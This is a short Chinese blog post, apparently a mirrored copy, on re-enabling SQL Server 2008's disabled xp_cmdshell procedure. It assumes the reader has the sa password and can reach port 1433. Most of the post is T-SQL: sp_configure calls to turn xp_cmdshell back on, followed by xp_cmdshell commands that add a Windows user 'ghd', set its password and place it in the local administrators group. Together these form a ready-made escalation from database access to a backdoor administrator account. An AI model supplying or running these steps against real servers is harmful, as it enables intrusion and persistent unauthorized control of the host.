zoukankan      html  css  js  c++  java
  • sqlserver2008里创建系统管理员

    sql2008如何使用被禁止的"xp_cmdshell"

    前提是知道sa的连接密码,而且服务器能连接1433,不然啥都别说. 
    C:\>DIR C:\ 
    SQL Server 阻止了对组件 ''xp_cmdshell'' 的 过程''sys.xp_cmdshell'' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ''xp_cmdshell''。有关启用 ''xp_cmdshell'' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

    SQL   Server   2005   中引入的   xp_cmdshell   选项是服务器配置选项,使系统管理员能够控制是否可以在系统上执行   xp_cmdshell   扩展存储过程。默认情况下,xp_cmdshell   选项在新安装的软件上处于禁用状态,但是可以通过使用外围应用配置器工具或运行   sp_configure   系统存储过程来启用它,如下面的代码示例所示: 
    连上后,用查询分析器,依次执行下面的语句,就可以了. 


    USE master 
    EXEC sp_configure ''show advanced options'', 1 
    RECONFIGURE WITH OVERRIDE 
    EXEC sp_configure ''xp_cmdshell'', 1 
    RECONFIGURE WITH OVERRIDE 
    EXEC sp_configure  ''show advanced options'', 0 


    结果是成功了,呵呵!

     

    use master
    -- To allow advanced options to be changed.
    EXEC sp_configure 'show advanced options'1
    GO
    -- To update the currently configured value for advanced options.
    RECONFIGURE
    GO
    -- To enable the feature.
    EXEC sp_configure 'xp_cmdshell'1
    GO
    -- To update the currently configured value for this feature.
    RECONFIGURE
    GO
    --测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
    exec xp_cmdshell 'dir c:'
    go

    --添加windows用户:
    EXEC xp_cmdshell 'net user ghd /add';
    --设置好密码:
    EXEC xp_cmdshell 'net user ghd password';
    --提升到管理员:
    EXEC xp_cmdshell 'net localgroup administrators ghd /add';

  • 相关阅读:
    使用 OpenSmtp.dll 发送邮件 (记录) 西安
    国庆假期加班头疼 西安
    asp.net 下 使用 showModalDialog 模式窗口 (记录) 西安
    严重声讨 西安
    牙痛,医生说我这是根尖周炎,有点郁闷
    Google域名被国内某商抢注 竟只得重金去赎
    Windows自带的一个罕为人知的无敌命令
    在CSS中使用继承
    删除字符串最后一个字符的几种方法
    如何在一个RowFilter过的dataview中增加一行
  • 原文地址:https://www.cnblogs.com/zqonline/p/2489488.html
Copyright © 2011-2022 走看看